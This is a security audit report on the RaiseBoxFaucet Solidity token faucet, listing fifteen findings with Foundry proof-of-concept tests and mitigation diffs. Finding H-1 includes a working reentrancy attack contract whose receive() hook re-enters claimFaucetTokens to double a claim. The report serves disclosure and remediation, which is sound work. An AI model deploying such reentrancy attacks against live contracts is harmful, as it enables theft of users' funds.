Protocol Audit Report

Version 1.0

Hexific.com

October 19, 2025

Protocol Audit Report

Hexific.com

October 19, 2025

Prepared by: Hexific Lead Security Researcher: - Febri Nirwana

Table of Contents

Protocol Summary

The RaiseBoxFaucet is a token distribution smart contract designed to provide testnet tokens to users for testing purposes. It implements an ERC20 token with built-in faucet functionality that dispenses 1000 tokens to users every 3 days. Additionally, the faucet provides a one-time distribution of 0.005 Sepolia ETH to first-time claimers to help them cover gas costs for interacting with future protocols.

The protocol is intended to facilitate testing of a future mainnet protocol that requires users to hold specific test tokens for interaction.

Disclaimer

The Hexific team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
daf8826cece87801a9d18745cf77e11e39838f5b
```

Scope

```
./src/
#-- RaiseBoxFaucet.sol
```

Roles

- **Owner**: Deploys the contract and has privileged access to mint tokens, burn tokens, adjust daily claim limits, refill Sepolia ETH balance, and pause/unpause ETH distributions. Cannot claim faucet tokens.
- **Claimers**: Users who claim faucet tokens every 3 days. First-time claimers additionally receive a one-time distribution of 0.005 Sepolia ETH for gas costs.
- **Donators**: Anyone can donate Sepolia ETH to the contract to replenish the ETH reserves for first-time claimer distributions.

Executive Summary

The Hexific team conducted a security audit of the RaiseBoxFaucet smart contract to evaluate its design, implementation, and resistance to common attack vectors. Our review identified several issues ranging from critical reentrancy vulnerabilities to code quality improvements.

The most severe finding is a reentrancy vulnerability in the `claimFaucetTokens` function that violates the Checks-Effects-Interactions (CEI) pattern, allowing attackers to claim double the intended token amount. Additionally, we found a Medium severity issue in the `burnFaucetTokens` function that drains the entire contract balance instead of the specified amount. Several Low severity findings were identified related to state management and boundary conditions, along with informational items addressing code quality and gas optimizations.

While the contract implements OpenZeppelin's ReentrancyGuard, the CEI pattern violation in combination with the external ETH transfer creates an exploitable attack surface. Immediate remediation of the High and Medium severity findings is strongly recommended.

Issues found

Severity	Number of Issues Found
High	1
Medium	1
Low	3
Gas	2
Info	8
Total	15

Findings

High

[H-1] Reentrancy Attack `RaiseBoxFaucet::claimFaucetTokens` Leads to Loss of Funds

Description:

The `claimFaucetTokens` function in the `RaiseBoxFaucet` contract is expected to be able to handle users to claim faucet tokens while providing Sepolia Eth for new users or first-time claimers.

Unfortunately, the function not fully following CEI (Check, Effect, Interact) pattern. Transfers tokens to the caller before updating the internal state, allowing an attacker to repeatedly call the function and drain the contract's token balance.

```
function claimFaucetTokens() external {
    ...
    if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(
        this).balance >= sepEthAmountToDrip) {
        hasClaimedEth[faucetClaimer] = true;
        dailyDrips += sepEthAmountToDrip;

@>      (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip
    }("");

        if (success) {
            emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
        } else {
            revert RaiseBoxFaucet_EthTransferFailed();
        }
    }
    ...
}
```

Risk:

Likelihood: High

- Reason 1: The function is `external` and can be called by any user, including potential attackers to create malicious contract to exploit the reentrancy vulnerability.
- Reason 2: The contract holds a significant amount of tokens and Sepolia Eth, making it an attractive target for attackers.

Impact: High

- Impact 1: An attacker can exceed the intended per-claim amount (claim ~2x faucetDrip via reentrancy), unfairly receiving extra tokens and reducing availability for other users.
- Impact 2: The contract may become unable to fulfill its intended purpose, affecting its reputation.

Proof of Concept:

Below is a test case that demonstrates the reentrancy attack using a malicious contract:

PoC

```
function testReentrancyAttack() public {
    Malicious attacker = new Malicious(raiseBoxFaucetContractAddress);

    console.log("Attacker balance before attack:", raiseBoxFaucet.
        getBalance(address(attacker)));
    console.log("Faucet contract balance before attack:",
        raiseBoxFaucet.getFaucetTotalSupply());

    attacker.attack();

    console.log("Attacker balance after attack:", raiseBoxFaucet.
        getBalance(address(attacker)));
    console.log("Faucet contract balance after attack:", raiseBoxFaucet
        .getFaucetTotalSupply());

    assertEq(
        raiseBoxFaucet.getBalance(address(attacker)),
        raiseBoxFaucet.faucetDrip() * 2
    );
}

contract Malicious {
    RaiseBoxFaucet raiseBoxFaucet;

    constructor(address raiseBoxFaucetAddress) {
        raiseBoxFaucet = RaiseBoxFaucet(payable(raiseBoxFaucetAddress))
            ;
    }

    function attack() public {
        raiseBoxFaucet.claimFaucetTokens();
    }

    receive() external payable {
        if (address(raiseBoxFaucet).balance >= 0.005 ether) {
            raiseBoxFaucet.claimFaucetTokens();
        }
    }
}
```

Output:

```
Attacker balance before attack: 0
Faucet contract balance before attack: 1000000000000000000000000000
Attacker balance after attack: 2000000000000000000000
Faucet contract balance after attack: 999998000000000000000000000
```

Recommended Mitigation:

1. Follow the Checks-Effects-Interactions (CEI) pattern correctly:

Mitigation 1

```
function claimFaucetTokens() external {
    ...
+   // Effects
+
+   /**
+    *
+    * @param lastFaucetDripDay tracks the last day a claim was made
+    * @notice resets the @param dailyClaimCount every 24 hours
+    */
+   if (block.timestamp > lastFaucetDripDay + 1 days) {
+       lastFaucetDripDay = block.timestamp;
+       dailyClaimCount = 0;
+   }
+
+   lastClaimTime[faucetClaimer] = block.timestamp;
+   dailyClaimCount++;
+
    // drip sepolia eth to first time claimers if supply hasn't ran out or sepolia drip not paused**
    // still checks
+   // Handle ETH drip state updates BEFORE sending ETH
+   bool shouldDripEth = false;
    if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
        uint256 currentDay = block.timestamp / 24 hours;

        if (currentDay > lastDripDay) {
            lastDripDay = currentDay;
            dailyDrips = 0;
-           // dailyClaimCount = 0;
        }

        if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
-           hasClaimedEth[faucetClaimer] = true;
-           dailyDrips += sepEthAmountToDrip;
-
-           (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
-
-           if (success) {
-               emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
-           } else {
-               revert RaiseBoxFaucet_EthTransferFailed();
-           }
-       } else {
-           emit SepEthDripSkipped(
-               faucetClaimer,
-               address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
```

```diff
-            );
+            hasClaimedEth[faucetClaimer] = true;  // MOVED: Now updated BEFORE external call
+            dailyDrips += sepEthAmountToDrip;     // MOVED: Now updated BEFORE external call
+            shouldDripEth = true;                 // NEW: Flag to trigger ETH transfer after state updates
         }
     } else {
         dailyDrips = 0;
     }
 
-    /**
-     *
-     * @param lastFaucetDripDay tracks the last day a claim was made
-     * @notice resets the @param dailyClaimCount every 24 hours
-     */
-    if (block.timestamp > lastFaucetDripDay + 1 days) {
-        lastFaucetDripDay = block.timestamp;
-        dailyClaimCount = 0;
-    }
-
-    // Effects
-
-    lastClaimTime[faucetClaimer] = block.timestamp;
-    dailyClaimCount++;
 
     // Interactions
 
     _transfer(address(this), faucetClaimer, faucetDrip);
 
     emit Claimed(msg.sender, faucetDrip);
 
+    // Transfer ETH if applicable (now happens AFTER all state updates)
+    if (shouldDripEth) {
+        (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
+
+        if (success) {
+            emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
+        } else {
+            revert RaiseBoxFaucet_EthTransferFailed();
+        }
+    } else if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
+        emit SepEthDripSkipped(
+            faucetClaimer,
+            address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
+        );
+    }
     ...
```

```
}
```

2. Use Reentrancy Guards from OpenZeppelin:

```
+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/
    ReentrancyGuard.sol";

- contract RaiseBoxFaucet is ERC20, Ownable {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
    ...
-   function claimFaucetTokens() public {
+   function claimFaucetTokens() public nonReentrant {
```

Medium

[M-1] Wrong Amount Transferred in `RaiseBoxFaucet::burnFaucetTokens` Drains Entire Balance

Description:

The `burnFaucetTokens` function is intended to burn a specific amount (`amountToBurn`) of faucet tokens held by the contract by first transferring them to the owner.

However, the function transfers the entire contract balance `balanceOf(address(this))` to the owner instead of just the `amountToBurn` parameter.

```
function burnFaucetTokens(uint256 amountToBurn) public onlyOwner {
    require(amountToBurn <= balanceOf(address(this)), "Faucet Token
        Balance: Insufficient");

    // transfer faucet balance to owner first before burning
    // ensures owner has a balance before _burn (owner only function)
        can be called successfully
@>  _transfer(address(this), msg.sender, balanceOf(address(this)));

    _burn(msg.sender, amountToBurn);
}
```

Risk:

Likelihood: High

- Reason 1: The vulnerability is present in every call to `burnFaucetTokens` and there are no conditional paths that avoid it
- Reason 2: The owner has legitimate reasons to call this function regularly for faucet maintenance

Impact: Medium

- Impact 1: Users expecting faucet tokens to remain available in the faucet will find them unavailable after owner calls this function
- Impact 2: The faucet functionality can be completely drained even when owner only intends to burn a small amount

Proof of Concept:

Below is a test case that demonstrates calling `burnFaucetTokens` causes tokens drained:

PoC

```
function testOwnerBurnFaucet() public {
    console.log("Initial contract balance:", raiseBoxFaucet.
        getFaucetTotalSupply());

    uint256 amountToBurn = 1000 * 10 ** 18; // Example amount
    vm.prank(owner);
    raiseBoxFaucet.burnFaucetTokens(amountToBurn);

    console.log("Final contract balance:", raiseBoxFaucet.
        getFaucetTotalSupply());
}
```

Output:

```
Initial contract balance: 1000000000000000000000000000
Final contract balance: 0
```

Recommended Mitigation:

Replace `balanceOf(address(this))` with `amountToBurn`:

```
function burnFaucetTokens(uint256 amountToBurn) public onlyOwner {
    require(amountToBurn <= balanceOf(address(this)), "Faucet Token
        Balance: Insufficient");

    // transfer faucet balance to owner first before burning
    // ensures owner has a balance before _burn (owner only function)
        can be called successfully
-   _transfer(address(this), msg.sender, balanceOf(address(this)));
+   _transfer(address(this), msg.sender, amountToBurn);

    _burn(msg.sender, amountToBurn);
}
```

Low

[L-1] Off-by-one Insufficient Balance Check Prevents Final Valid Claim `RaiseBoxFaucet::claimFaucetTokens`

Description:

`claimFaucetTokens` checks the faucet's token balance using a <= comparison then it should only revert when the balance is less than `faucetDrip`.

```
@> if (balanceOf(address(this)) <= faucetDrip) {
        revert RaiseBoxFaucet_InsufficientContractBalance();
    }
```

This means if the contract has exactly `faucetDrip` left, it still reverts, and the user can't claim. Usually, the last claim should be allowed when the balance equals `faucetDrip`.

Risk:

Likelihood: High

- Reason 1: This branch will always trigger when the remaining balance equals `faucetDrip`, a common terminal state for faucets.
- Reason 2: Normal faucet operation will frequently reach this boundary condition as tokens are consumed.

Impact: Low

- Impact 1: Tokens remain stuck in the contract unless the owner mints/burns/top-ups.
- Impact 2: Causes user-facing confusion ("insufficient balance") despite an exact drip being available, degrading UX.

Proof of Concept:

Below is a simple scenario illustrating the blocked final claim:

PoC

```
function testOffByOneFinalDripBlocked() public {
    // Create a new faucet with initial supply of 1 billion tokens
    // Each claim distributes 100 million tokens (faucetDrip)
    // This means exactly 10 claims can be made before running out
    RaiseBoxFaucet raiseBoxFaucet2 = new RaiseBoxFaucet(
        "raiseboxtoken2",
        "RB2",
        100_000_000 * 10 ** 18,  // 100 million tokens per claim
        0.005 ether,
        0.5 ether
    );

    // Simulate 9 users claiming tokens (900 million tokens claimed)
    // This leaves exactly 100 million tokens = 1 faucetDrip remaining
    for (uint256 i = 0; i < 9; i++) {
        address user = address(uint160(i + 100));

        vm.prank(user);
        raiseBoxFaucet2.claimFaucetTokens();
    }

    // At this point: balance == faucetDrip (exactly 100 million tokens
         left)
    // BUG: The check uses <= instead of <, so this valid final claim
       is rejected
    vm.prank(user1);
    vm.expectRevert(RaiseBoxFaucet.
       RaiseBoxFaucet_InsufficientContractBalance.selector);
    raiseBoxFaucet2.claimFaucetTokens();  // Should succeed but reverts
         due to off-by-one bug
}
```

Output:

```
Reverted with RaiseBoxFaucet_InsufficientContractBalance
```

Recommended Mitigation:

Change the comparison to strictly less-than, allowing the final exact-sized claim:

```
- if (balanceOf(address(this)) <= faucetDrip) {
+ if (balanceOf(address(this)) < faucetDrip) {
    revert RaiseBoxFaucet_InsufficientContractBalance();
}
```

[L-2] Incorrect Reset State `RaiseBoxFaucet::claimFaucetTokens` Resulted Bug and Confusion

Description:

The `claimFaucetTokens` function is expected to track daily Sepolia ETH distributions using the `dailyDrips` variable to enforce a daily cap (`dailySepEthCap`). This mechanism should prevent excessive ETH distribution within a 24-hour period.

However, the function incorrectly resets `dailyDrips` to 0 when users who have already claimed ETH call the function, even if it's still the same day. This occurs in the `else` block at line 267:

```
    } else {
@>      dailyDrips = 0;
    }
```

This means if a user who previously claimed ETH calls `claimFaucetTokens()` again (after cooldown), the `dailyDrips` counter resets to 0, effectively bypassing the daily cap mechanism and allowing more first-time users to claim ETH than intended.

Risk:

Likelihood: High

- Reason 1: Any user who has already claimed sepolia ETH and calls `claimFaucetTokens()` after their cooldown period will trigger this reset, making it a common occurrence in normal usage.
- Reason 2: The function is publicly accessible and there's no protection against this behavior.

Impact: Low

- Impact 1: Users cannot reliably determine how many drips have been recorded for the day.
- Impact 2: The tracking of daily sepolia ETH distributions becomes inaccurate and unreliable, making it difficult for the owner to monitor actual distribution rates.

Proof of Concept:

Below is a test case that demonstrates the `dailyDrips` reset issue:

PoC

```
function testDailyDripsReset() public {
    // initial claim for user1
    vm.prank(user1);
    raiseBoxFaucet.claimFaucetTokens();

    vm.warp(block.timestamp + 3 days);

    // simulate bulk claims from other users
    for (uint i = 0; i < 99; i++) {
        address user = address(uint160(i + 100)); // create unique
            addresses

        vm.prank(user);
        raiseBoxFaucet.claimFaucetTokens();
    }
    console.log("Daily drips after bulk users claim:", raiseBoxFaucet.
       dailyDrips());

    // second claim -> just claim the fucet
    vm.prank(user1);
    raiseBoxFaucet.claimFaucetTokens();
    console.log("Daily drips after user1 claim:", raiseBoxFaucet.
        dailyDrips());

    // however the `dailyClaimCount` and `dailyClaimLimit` save this
        from vulnerability
    vm.prank(user2);
    vm.expectRevert(RaiseBoxFaucet.
        RaiseBoxFaucet_DailyClaimLimitReached.selector);
    raiseBoxFaucet.claimFaucetTokens();
}
```

Output:

```
    Daily drips after bulk users claim: 495000000000000000
    Daily drips after user1 claim: 0
```

Recommended Mitigation:

Remove the `dailyDrips = 0;` statement from the **`else`** block, as it serves no valid purpose and breaks the daily tracking mechanism:

```
    } else {
-       dailyDrips = 0;
    }
```

[L-3] Reset State Dependency on User `RaiseBoxFaucet::claimFaucetTokens`

Description:

The contract attempts to reset the per-day claim tracking for faucet tokens using `lastFaucetDripDay` and `dailyClaimCount` inside `claimFaucetTokens()`:

```
    if (block.timestamp > lastFaucetDripDay + 1 days) {
@>      lastFaucetDripDay = block.timestamp;
@>      dailyClaimCount = 0;
    }
```

This reset only occurs when a user calls `claimFaucetTokens()`. If no user calls the function after 24 hours elapse, the state is not reset automatically. This makes the daily reset dependent on user activity instead of time. In other words, the daily claim window is "lazy-reset," which can cause the next active day to start with stale values and the reset to happen late (on the first claim of the new day), skewing accounting and rate limiting.

Risk:

Likelihood: High

- Reason 1: The faucet may have idle periods, relying on a user call to trigger a time-based reset is a common pitfall and will frequently occur in production.
- Reason 2: The logic is placed on the hot path of claims and not scheduled elsewhere; there is no alternative mechanism (cron/keeper) to ensure resets occur on time.

Impact: Low

- Impact 1: Rate limiting and reporting become inconsistent across calendar days; operators and users may see confusing limits or counters carrying over until someone claims.
- Impact 2: Analytics and monitoring that depend on daily counters (`dailyClaimCount`) will be inaccurate during low-traffic periods, impacting operational decision-making.

Proof of Concept:

Below is a minimal scenario showing the reset occurs late and is user-triggered:

PoC

```
function testUserDependentDailyReset() public {
    // Assume someone claimed earlier today and counters are non-zero
    vm.prank(user1);
    raiseBoxFaucet.claimFaucetTokens();

    uint256 beforeCount = raiseBoxFaucet.dailyClaimCount();
    console.log("Before warp:", beforeCount);

    // Advance time by > 1 day, but do NOT call the function yet
    vm.warp(block.timestamp + 1 days + 1);

    // At this point, counters are STILL stale because no user
       triggered the reset
    console.log("After warp (>1 day, no calls):", raiseBoxFaucet.
       dailyClaimCount());
    assertEq(raiseBoxFaucet.dailyClaimCount(), beforeCount);

    // The next claim triggers the reset lazily
    vm.prank(user2);
    raiseBoxFaucet.claimFaucetTokens();

    // Now the reset applied right before user2's claim
    console.log("On next claim:", raiseBoxFaucet.dailyClaimCount(), "->
        counter resets and then increments");
    assertEq(raiseBoxFaucet.lastFaucetDripDay(), block.timestamp);
}
```

Output:

```
    Before warp: 1
    After warp (>1 day, no calls): 1
    On next claim: 1 -> counter resets and then increments
```

Recommended Mitigation:

Integrate with a keeper/cron/automation hook like Chainlink Time-Based Automation to call `rollOverDay()` function which resets `lastFaucetDripDay` and `dailyClaimCount` on schedule.

```
function claimFaucetTokens() public nonReentrant {
    ...
-   if (block.timestamp > lastFaucetDripDay + 1 days) {
-        lastFaucetDripDay = block.timestamp;
-        dailyClaimCount = 0;
-    }
    ...
}

+ function rollOverDay() public {
+     if (block.timestamp > lastFaucetDripDay + 1 days) {
+         lastFaucetDripDay = block.timestamp;
+         dailyClaimCount = 0;
+     }
+ }
```

Information

[I-1] Incorrect remappings on `foundry.toml` causes import resolution issues

Description:

The remapping for the OpenZeppelin contracts is incorrect. It should include a trailing slash to properly resolve the imports.

Impact:

This can lead to import errors and prevent the project from compiling successfully.

Recommended Mitigation:

Current:

```
- remapping = ["@openzeppelin=lib/openzeppelin-contracts/"]
+ remapping = ["@openzeppelin/=lib/openzeppelin-contracts/"]
```

[I-2] Incorrect import path in `test/RaiseBoxFaucet.t.sol` make it fail to compile

Description:

The import statement for `DeployRaiseboxContract` in `test/RaiseBoxFaucet.t.sol` is incorrect. It references a non-existent file `../script/DeployRaiseBox.s.sol` instead of the correct `../script/DeployRaiseBoxFaucet.s.sol`.

Impact:

This will cause compilation errors and prevent the test suite from running.

Recommended Mitigation:

Current:

```diff
- import {DeployRaiseboxContract} from "../script/DeployRaiseBox.s.sol"
  ;
+ import {DeployRaiseboxContract} from "../script/DeployRaiseBoxFaucet.
  s.sol";
```

[I-3] Typo in SPDX license identifier

Description:

The SPDX license identifier in 3 files is either incorrect or has a typo. In `test/RaiseBoxFaucet.t.sol`, it should be `MIT` instead of `SEE LICENSE IN LICENSE`. In `src/RaiseBoxFaucet.sol` and `script/RaiseBoxFaucet.s.sol`, there is a typo in `Lincense`.

Impact:

1. Block explorers (like Etherscan, Basescan, etc.) cannot automatically detect the license, so the license appears as “None” or “Unlicensed.”
2. The legal status of the code becomes grayed out.

Recommended Mitigation:

For `src/RaiseBoxFaucet.sol` and `script/RaiseBoxFaucet.s.sol`:

```diff
- // SPDX-Lincense-Identifier: MIT
+ // SPDX-License-Identifier: MIT
```

For `test/RaiseBoxFaucet.t.sol`:

```diff
- // SPDX-License-Identifier: SEE LICENSE IN LICENSE
+ // SPDX-License-Identifier: MIT
```

[I-4] Nice To Following Common Layout of Contract `RaiseBoxFaucet`

Description:

The contract structure does not consistently follow common Solidity layout conventions (version, imports, errors, state, events, modifiers, functions by visibility). This hurts readability and makes reviews and future changes harder.

Recommended Mitigation:

Adopt a consistent layout order such as:

```
// version
// imports
// errors
// interfaces, libraries, contracts
// Type declarations
// State variables
// Events
// Modifiers
// Functions

// Layout of Functions:
// constructor
// receive function (if exists)
// fallback function (if exists)
// external
// public
// internal
// private
// internal & private view & pure functions
// external & public view & pure functions
```

[I-5] Unused Error Declaration `RaiseBoxFaucet_CannotClaimAnymoreFaucetToday`

Description:

The custom error `RaiseBoxFaucet_CannotClaimAnymoreFaucetToday` is declared but never used. This adds noise and slightly increases bytecode size, and may confuse readers about intended behavior.

Recommended Mitigation:

Remove the unused error to reduce clutter:

```
- error RaiseBoxFaucet_CannotClaimAnymoreFaucetToday();
```

[I-6] Mismatch with Documentation `RaiseBoxFaucet::claimFaucetTokens`

Description:

There is an inconsistency between the documentation and the NatSpec documentation in `claimFaucetTokens()`. The NatSpec `@notice` says "Drips 0.01 sepolia ether to first time claimers". While the README.md states: "It also drips 0.005 sepolia eth to first time users."

The actual amount dripped is determined by the constructor parameter `sepEthDrip_`, which is stored in `sepEthAmountToDrip`. Based on deployment scripts and README documentation, the intended amount appears to be **0.005 ether**, not 0.01 ether.

Impact:

Developers, auditors, and users reading the NatSpec may expect a different ETH drip amount than what is actually deployed, leading to confusion and potential misconfiguration during deployment.

Recommended Mitigation:

Update the NatSpec to match the inline comment and README documentation:

```diff
- /// @notice Drips 0.01 sepolia ether to first time claimers
+ /// @notice Drips 0.005 sepolia ether to first time claimers
```

[I-7] Unconventional Parameter Naming `RaiseBoxFaucet::toggleEthDripPause`

Description:

Although in this case, there is no state variable named `paused` that would conflict, so the underscore prefix serves no purpose and deviates from common Solidity naming conventions where public or external function parameters typically use camelCase without underscores.

Recommended Mitigation:

Remove the underscore prefix to follow conventional Solidity naming:

```diff
- /// @param _paused True to pause, false to resume
- function toggleEthDripPause(bool _paused) external onlyOwner {
-     sepEthDripsPaused = _paused;
-     emit SepEthDripsPaused(_paused);
+ /// @param paused True to pause, false to resume
+ function toggleEthDripPause(bool paused) external onlyOwner {
+     sepEthDripsPaused = paused;
+     emit SepEthDripsPaused(paused);
}
```

[I-8] Unnecessary Public State in Deployment Script `DeployRaiseboxContract`

Description:

The deployment script declares a public state variable `RaiseBoxFaucet public raiseBox;` which is only used within `run()` and not read elsewhere. In Foundry scripts, the script contract is not meant for on-chain interaction, so exposing a public variable creates an auto-generated getter and increases bytecode size without practical benefit. It can also confuse readers into thinking the value is intended to be accessed later.

Recommended Mitigation:

Prefer a local variable inside `run()` (or at most a non-public field if you truly need cross-method access), and log the deployed address if needed.

```diff
 contract DeployRaiseboxContract is Script {
-    RaiseBoxFaucet public raiseBox;
-
     function run() public {
         vm.startBroadcast();
-        raiseBox = new RaiseBoxFaucet(
+        RaiseBoxFaucet raiseBox = new RaiseBoxFaucet(
             "raiseboxtoken",
             "RB",
             1000 * 10 ** 18,
             0.005 ether,
             1 ether
         );
+        // Optional: log the address for visibility
+        // import {console2} from "forge-std/console2.sol";
+        // console2.log("RaiseBoxFaucet deployed at", address(raiseBox));
         vm.stopBroadcast();
     }
}
```

Optional: Rename the script contract to match the file name for consistency (e.g., `DeployRaiseBoxFaucet`).

```diff
- contract DeployRaiseboxContract is Script {
+ contract DeployRaiseBoxFaucet is Script {
```

Gas

[G-1] State Variables Should Be Immutable `RaiseBoxFaucet`

Description:

Three state variables (`faucetDrip`, `sepEthAmountToDrip`, `dailySepEthCap`) are set once in the constructor and never modified. They should be declared as `immutable` for gas optimization and to make the intent clearer.

Recommended Mitigation:

```diff
- uint256 public faucetDrip;
+ uint256 public immutable faucetDrip;

- uint256 public sepEthAmountToDrip;
+ uint256 public immutable sepEthAmountToDrip;

- uint256 public dailySepEthCap;
+ uint256 public immutable dailySepEthCap;
```

[G-2] Functions Should Be External `RaiseBoxFaucet`

Description:

Several entrypoint and view functions are not called internally and can be marked external instead of public. Using external reduces bytecode size slightly and can be marginally cheaper for external callers. Keep functions as public only when they are used internally by the contract.

Recommended Mitigation:

Change public to external where not used internally:

```diff
- function mintFaucetTokens(address to, uint256 amount) public
   onlyOwner {
+ function mintFaucetTokens(address to, uint256 amount) external
   onlyOwner {

- function burnFaucetTokens(uint256 amountToBurn) public onlyOwner {
+ function burnFaucetTokens(uint256 amountToBurn) external onlyOwner {

- function adjustDailyClaimLimit(uint256 by, bool increaseClaimLimit)
   public onlyOwner {
+ function adjustDailyClaimLimit(uint256 by, bool increaseClaimLimit)
   external onlyOwner {

- function claimFaucetTokens() public nonReentrant {
+ function claimFaucetTokens() external nonReentrant {

- function getBalance(address user) public view returns (uint256) {
+ function getBalance(address user) external view returns (uint256) {

- function getClaimer() public view returns (address) {
+ function getClaimer() external view returns (address) {
```

```diff

- function getHasClaimedEth(address user) public view returns (bool) {
+ function getHasClaimedEth(address user) external view returns (bool)
    {

- function getUserLastClaimTime(address user) public view returns (
    uint256) {
+ function getUserLastClaimTime(address user) external view returns (
    uint256) {

- function getFaucetTotalSupply() public view returns (uint256) {
+ function getFaucetTotalSupply() external view returns (uint256) {

- function getContractSepEthBalance() public view returns (uint256) {
+ function getContractSepEthBalance() external view returns (uint256) {

- function getOwner() public view returns (address) {
+ function getOwner() external view returns (address) {
```